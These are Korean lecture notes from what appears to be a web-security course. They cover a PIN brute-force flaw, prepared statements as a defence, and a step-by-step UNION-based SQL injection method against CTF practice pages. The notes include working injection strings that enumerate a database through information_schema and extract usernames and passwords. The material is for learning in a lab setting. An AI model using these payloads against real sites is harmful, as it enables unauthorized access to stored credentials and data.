노력(고민하는 시간) (어떤 방식으로)
1강 문제 발생시 !
1) 문제의 원인을 찾기
2) > 문제가 해결
step by step
login 3,4 -> (어려울 수밖에 없음)
-> 직접 만들어 봐야 실력이 좋아짐
식별인증 동시
로그인 로직 케이스
burp how to modify response
문제를 풀고 나서 문제를 그대로 만들어 보기
어떻게 하면 저 문제처럼 풀리게 할 수 있을까?
**
여기서 발생한 문제점은 뭘까?
원인파악
이 핀코드가 크랙되었던 이유는 뭘까?
오류횟수 제한이 없다. . 시간제한이 없다
반대로 오류횟수에 제한을 두려면 어떻게 해야할까?
이것을 직접 만들어 보는 것이다. 이런 문제점이 발생하지 않게 시큐어 코딩(보안코딩)을 적용해보는 것이다.
그 다음에는 그 보안 코딩을 했던 것을 우회할 수 있는지 연구해 본다. 한치에 오차도 없이 우회가 될 수 없다고 결론이 나야 한다. 우리가 우회가 되네 하면 잘한 것이다, 그것을 우회가 되지 않게 막으면 된다.
SQL Injection 대응방안
: Prepared Statment(프리페얼드 스테이츠먼트)
Prepared Statment 이것을 사용하면 SQL Injection이 불가능 하다.
*SQL Injection : 인증 우회
-> 데이터 추출 방법에 대해 배울 것임
(어디에서?)
<1>DB 데이터를 사용하는 곳(이라고 판단되는 곳에서 한다.)
<2> 그 데이터가 화면에 나오는가? 안나오는가?
>데이터가 나온다: 게시판\
>안나온다ㅣ 로그인, 아이디 중복체크
웹페이지에 데이터가 나오는 경우에서 데이터를 추출하는 방법에 대해 공부할 것임
>원리는 화면에 게시판에 게시글을 읽을 수 있는 게시판이 있다.
DB에서 게시글 데이터를 가져와서 채우고 우리에게 응답해 줬구나.
우리는 SQL언어를 변경할 수 있으니 누구의 비밀번호를 보여워 이런 식으로 할 수 있다. 이런 원리를 이용하여 데이터를 화면에 출력하여 빼내는 것이다.
따라 해보기

만약 normaltic의 정보를 검색 하면 위처럼 나옴

‘or’1’=’1 이렇게 하면 전체 데이터가 나옴
위처럼 해서 조작할 수도 있다.
*만약!
게시판에서 SQL
select * from board
where idx= ‘_____’ or ‘1’=’1’(이것을 넣는다해도 board게시판에 있는 모든 데이터를 가져오는 것일 뿐이지 member(다른 곳에 있는 정보)에 있는데이터를 가져오는 것이 아님)
다른 테이블에 있는 데이터를 가져올 때에는
Union
Union을 사용하면 select문을 한번 더 사용할 수 있다
ex) (select ~~~~) union (select ~~~~) 이렇게
union을 사용하면 데이터를 이렇게 출력할 수 있다.
만약에
select pass from member 이렇게 실행하면

결과가 이렇게 나옴 ↑
select pass from member union select id from member 이렇게 실행하면

select id,pass from member union select 1,2

결과 ↑
1과 2가 추가 되어 나옴
select id,pass from member union select ‘normaltic’, ‘test’

결과 ↑
normaltic과 test가 추가 됨
※주의
컬럼 개수가 같아야 함
select id,pass from member union select id from member 이렇게 하면 컬럼 개수가 안 맞아 오류가 남
**중요**
**Must 지켜야 함**
(select ~) union (select ~)
union은 select를 2개 사용할 수 있는 것인데 앞에서 select하는 컬럼 개수와 뒤쪽에서 select 하는 개수는 똑같이 일치시켜야 한다.
컬럼 개수를 맞춰야 하기 때문에 우리가 할 수 있는 트릭이 하나 생겨난다
*Order by
정렬한다.
select id,pass from member order by id (id컬럼으로 정렬해줘라는 것임)

select id,pass from member order by psas(비밀번호 컬럼으로 정렬해줘)

*order by
: 출력되는 데이터를 정렬할 때 사용함 (오름차숨임)
사용방법
: select 맨 뒤에 적어주는 것이 원칙
select문 뒤에 order by 적고 [(정렬하기 원하는 ) column 이름]
(select~~~) order by [column 이름]
ex) select id from member order by id (id로 정렬하고 싶을 때)
select id,pass from member order by id
이렇게 적을 때 인덱스 번호를 적어도 됨
select id,pass from member order by 1 (1을 적으면 첫 번째 있는 id로 정렬이 됨)
select id,pass from member order by 2 (2를 적으면 두 번째 있는 pass로 정렬이 됨)
컬럼명을 몰라도 인덱스를 활용하여 할 수 도 있다.
select id,pass from member order by 3 (3을 적으면 정렬할 대상이 없어서 에러가 남)
____________________________________________________________________________________________
UNION SQL Inject
- UNION SQL Inject Process
1. SQL Inject 포인트 찾기
2. Column 개수 찾기
3. 출력되는 Column의 위치 찾기
4. DB의 이름 확인 하기
5. Table 이름 확인 하기
6. Column 이름 확인하기
7. Data 추출하기
1. SQL Inject 포인트 찾기
SQL lnjection이 되는지 안되는지 체크해봐야 된다.
내가 보낸 데이터가 머릿속에서 어떻게 보내지는지 그려본다. 머릿속에 그려졌다면 테스트를 해본다
ex) over%’and’1%’=’1 → 데이터 나옴
over%’and’1%’=’2 →(거짓조건을 작성하면) 데이너 안나옴
이 것은 뒤에 작은 따옴표(‘)를 넣어서 sql을 조작할 수 있다는 것이다.
1번 체크 됨
(Union SQL Injection을 하려면)
2. Column 개수 찾기
over%’# (이렇게 사용하면 됨)

결과 ↑ (over로 검색한 결과와 같다)
over%’order by 1 #

결과 ↑
만약 우리가 select pass from member을 출력하고 싶다면
over%’ union select 1,pass,3,4 from member#

결과 ↑
----------------------------
4.DB이름 확인
방법은 대표적으로 두가지가 있음
첫 번째
select database()
우리가 데이터베이스 이름을 확인할 때 union을 사용해서 하면
over%’ union select 1,databass(),3,4 # (이렇게 할 수 있다)
4.DB이름 확인 : ex) segfault_sql
5.5. Table 이름 확인 하기
> information_schema.tables
테이블 이름을 확인 하는 SQL 질의문
SQL ex)
select table_name from information_schema.tables
where table_schema = ‘DB이름’
union을 적용해서 작성하면
over%’ union select 1,table_name,3,4 from information_schema.tables where table_schema = ‘segfault_sql’# (1번 빼고 2,3,4 중 아무곳에 작성해도 됨)
over%’ union select 1,1,table_name from information_schema.tables where table_schema = ‘segfault_sql’,3,4 # (이렇게 작성하면 컬럼이 2개로 되어 컬럼 개수가 안맞아서 에러가 남 여기서는 컬럼개수는 4개임)
5. table 이름 확인하기 :
테이블 이름:
gane
member
secret
secret_member
6. column 이름 확인하기
ex) member
테이블 이름이 저장된 것처럼 컬럼 이름도 저장되어 있다. 확인 방법은
ex)
select column_name from information_schema.columns
where table_name = ‘테이블 이름’
over%’ union select 1,column_name,3,4 from information_schema.columns where table_name = ‘member’ #
6. column 이름 확인하기 :
user_id
user_psaa
name
user_level
info
id
pass
7. Data 추출하기
만약 select id,pass from member을 하고 싶다 그러면
over%’ union select 1, id, pass, 4 from member #
7. Data 추출하기 :
doldol aaaa
fake qqqq
normaltic 1234
test test1234
______________________________________________________________________________________________
*과제!
[1] UNION SQL Injection 복습 [+] Web 개발
이 사이트에서 연습하기 > 로그인 페이지
http://ctf.segfaulthub.com:1020/sqlInjection3.php > 회원가입
> 마이페이지(내 정보 보기)
[2] doldol 데이터만 출력하기 (하나의 데이터만 나오로록 하기!!) > 게시판(파일 올리기 등 기능구현)
http://ctf.segfaulthub.com:1020/sqlInjection_2_1.php
[3] CTF문제 풀기
SQL Injection 1번 2반 문제 풀기